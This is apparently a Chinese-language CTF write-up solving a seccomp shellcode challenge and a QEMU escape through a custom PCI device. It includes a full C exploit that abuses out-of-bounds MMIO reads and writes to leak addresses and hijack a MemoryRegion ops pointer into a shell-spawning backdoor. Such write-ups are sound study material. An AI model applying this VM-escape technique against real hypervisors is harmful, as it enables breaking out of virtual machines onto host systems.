没注意到今天还有一个 vnctf😭赛后复盘一下
pwn
shellcode
签到题,禁用了 execve 相关函数,还禁用了所有与 read 和 socket send 相关的函数,也就是 ORW 缺 R
1 | line CODE JT JF K |
但是这种不是!=
的 seccomp 代表了有很多其他的可能性。
我们知道 mmap 可以不通过 IO 直接将磁盘文件映射到内存空间当中,所以本题我们考虑用 open - mmap - write 的方式来打印 flag 文件
但这题也卡了我一个小时,主要卡在 mmap 的 flags 上。最开始 flags = 0x22 时 mmap 即使成功分配内存也无法将文件内容映射到内存中,最后调整为 flags=0x2 才成功映射
以及通过这题我还学到了 mmap 在分配内存时可以将 addr 设置为 0,这样 mmap 会自动寻找一块合适的内存,而我们知道 rax 是 mmap 的返回值,所以我们可以通过控制 rax 来获取 mmap 申请的内存地址。
我这里没有远程环境,不确定这种做法是否能得到 flag
况且之前的 NSSCTF Round18 还出现了本地能打通远程打不通的情况,可能是 flag 文件不跟 vuln 文件在同一个文件夹下
exp 如下
1 | from pwn import * |
escape_langlang_mountain2
QEMU 逃逸,第一次做 ;(
读 Dockerfile
,了解到它在搭起环境以后启动了start.sh
,
再读 start.sh
,了解到它启动了 xinetd
程序
再读 xinetd
,这个程序的主要作用是监听指定 port,并根据预先定义好的配置来启动相应服务。可以看到 server_args
处启动了 run.sh
再读 run.sh
,发现它用 QEMU 起了一个程序,通过 -device vn
我们可以知道 vn
是作为 QEMU 中的一个 pci设备
存在的。
通过 IDA 查找字符串 vn_
可以找到 vn_instance_init
,跟进调用 字符串vn_instance_init
的 函数vn_instance_init
,再按 x 查看 函数vn_instance_init
的引用,可以看到下面还有一个 vn_class_init
,反汇编后看到
1 | __int64 __fastcall vn_class_init(__int64 a1) |
通过厂商ID和设备ID,我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024
就是我们要找的 vn
1 | /sys/devices/pci0000:00/0000:00:04.0 # lspci |
进而去/sys/devices/pci0000:00/0000:00:04.0
目录查看该设备 mmio
与 pmio
的注册情况
1 | /sys/devices/pci0000:00/0000:00:04.0 # ls -al |
有了 resource0 这个文件,我们就可以在exp里 mmap
做虚拟地址映射。
并且我们可以看到 vn
这个设备只注册了 mmio
,那就考虑用 mmio攻击(点击这里了解 mmio 运行原理)
然后,本题的核心在于伪造 MemoryRegion 结构体,由于上述部分我也不清楚为什么要这样去 read 和 write,所以还需要补很多基础知识 (2.18晚)
花了一整个晚上的时间把 qemu 调试搞定了,明天找一下 QEMU 相关部分的源码读一下 (2.19晚)
1 | # 记录一下如何用 docker 调试 QEMU |
今晚去 ctf-wiki 上看了一下 QEMU 关于 MemoryRegion 相关的代码和结构体,但我突然意识到题目中设备的 mmio_read
和 mmio_write
是自己实现的 (比如blizzardCTF 里的 strng),所以在互联网上不会找到相关的源码,只能反汇编去硬看
到这里好像有点乱了,我们来捋一下:
QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用,而 -device
参数为 kernel 提供了模拟的 pci 设备。
如果 kernel 实现了类似 linux 的 rootfs,我们就可以通过 lspci
来查看相关 pci,并在/sys/devices/…找到 pci 设备启动时 kernel 分配给 pci 的资源,也就是 resource0 等,这也是前文提到过的。
resource0 可以看作是一大片开关,当我们修改 resource0 中的内容时,可以看做对应开关被启动,pci设备也随着开关的启动而变化,具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”
所以我们可以 open resource0 这个文件,用 mmap 映射它,从而使我们能够在C代码中对 resource0 这片内存进行修改
可是由于 QEMU 也只不过是一个程序,虚拟的 pci 设备意味着,一定有一片内存存储着 pci 相关的数据
关于 pci 存储数据的这一部分好像就涉及 QOM 了,还没太搞懂,总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关
1 | 假设我们的调用链是这样的: |
那么,接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编,了解怎样读写堆区内容。
由于对 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大体逻辑是
object_dynamic_cast_assert
是动态类型转换,我OOP学的很烂所以不清楚这是什么😭,猜测是申请一块堆的地址然后用 ptr 指向这块地址①如果 op == 0x30 且 ptr[737] == 0
- ptr[ ptr[736]/8 + 720 ] = var,并将 ptr[737] 设置为1
- ②如果 op == 0x10 且 var < 0x3C
- ptr[736] = var
- 这里可以用负数来上溢,从而可以读很大一片空间的内容
- ③如果 op == 0x20 且 var 的高32位 < 0x3C
- ptr[ HIDWORD(var) + 720 ] = (LODWORD)var
同理 vn_mmio_read 也可以分析出来。
通过分析我们可以得知,vn_mmio_write可以实现一些越界写,同理分析 vn_mmio_read 我们可以得知,令可以实现一些越界读,根据反汇编我们可以定制一下这道题的 mmio_read
1 | void mmio_write(uint64_t addr, uint64_t value) |
通过 Shift + F12 查/bin/sh
可以跟进到这道题的后门函数0x67429B,我们需要跳转到这里去执行execv(“/bin/sh”);
现在我们知道了怎样读写堆区,也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion,而且 QEMU 会启动 pie,我们需要绕过 pie 才能利用后门函数。
所以我们就先读一些内容,看看附近有没有什么能利用的东西
1 | int main(int argc, char const *argv[]) |
我们逐个地址 x/2gx
一下,最终发现这几个比较有意思的地方
PIE
1 | (gdb) x/2gx 0x55da256a335b |
我们在 IDA 中是能搜到这个函数的,它在 QEMU 里的偏移量是 0x82B35B,通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了
heap & MemoryRegion
1 | (gdb) x/2gx 0x55da25dd01e0 |
我们找到了需要的 ops,test24 存的就是 0x55da25dd01e0
所以我们有如下对应关系:1
ptr[-24 + 720] -> 0x55da25dd01e0
那很自然的我们就想到,ptr的其他地方存着什么?这附近是不是就是 MemoryRegion?可是我们并没有 (&ptr[-24 + 720]),但我们知道的是 MemoryRegion 存在堆里,所以我们考虑用 find 命令查找(看起来像堆地址的)堆地址附近查找 0x55da25dd01e0 这个值就行
最终我们用到的是 test23 -> 0x55da2812e470
1 | // 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址 |
因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0
观察发现这个地址跟我们的 test10 非常近,可以计算一下1
2
3
4(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 = 104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 = 0x55da2812ef58 - 0x68 = test10 - 0x68
而我们打印一下更多附近的值,可以看到
1 | (gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60 |
我们回到 ctf-wiki-QEMU 里查看一下 MemoryRegion
1 | struct MemoryRegion { |
假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
420x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops
0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque
0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container
0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 这里不知道是什么😭
0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size
0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr
0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 -> test0
0x55da2812efb0: 0x0000000000000000 -> 可以看到这里有一大片'\x00'
0x55da2812efb8: 0x0000000000000000 -> 我们可以把控制流劫持的指针
0x55da2812efc0: 0x0000000000000000 -> 放在这一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000
我们可以看到这就是 MemoryRegion,当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8),我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数
所以我们考虑这样的布置:1
20x55da2812eef0(&test24) -> 0x55da2812efd8
0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B
完整 exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
// #define MAP_SIZE 4096UL
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char* mmio_base;
unsigned char* getMMIOBase(){
int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}
int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
mmio_write(0x10, -17*0x8);
uint64_t pie_low = mmio_read(0x20);
mmio_write(0x10, -17*0x8 + 0x4);
uint64_t pie_high = mmio_read(0x20);
uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;
printf("pie = 0x%llx\n", pie);
getchar();
mmio_write(0x10, -10*0x8);
uint64_t heap_low = mmio_read(0x20);
mmio_write(0x10, -10*0x8 + 0x4);
uint64_t heap_high = mmio_read(0x20);
uint64_t heap = heap_low + (heap_high << 32);
printf("heap = 0x%llx\n", heap);
uint64_t backdoor = pie + 0x67429B;
uint64_t system_plt_addr = heap + 0x60 + 8;
uint64_t cmdaddr = heap + 0x58 + 8;
getchar();
mmio_write_idx(8,0x20746163);
mmio_write_idx(12,0x67616C66);
mmio_write_idx(16,backdoor & 0xffffffff);
mmio_write_idx(20,backdoor >> 32);
mmio_write_idx(24,system_plt_addr & 0xffffffff);
mmio_write_idx(28,system_plt_addr >> 32);
mmio_write_idx(32,cmdaddr & 0xffffffff);
mmio_write_idx(36,cmdaddr >> 32);
getchar();
for(int i = 40;i <= 60 ;i += 4 )
{
mmio_write_idx(i,0);
}
getchar();
mmio_write(0x10,-0xc0);
getchar();
mmio_write(0x30,system_plt_addr);
getchar();
mmio_read(0);
return 0;
}
如何传到远端服务器?
1 | # exp.py |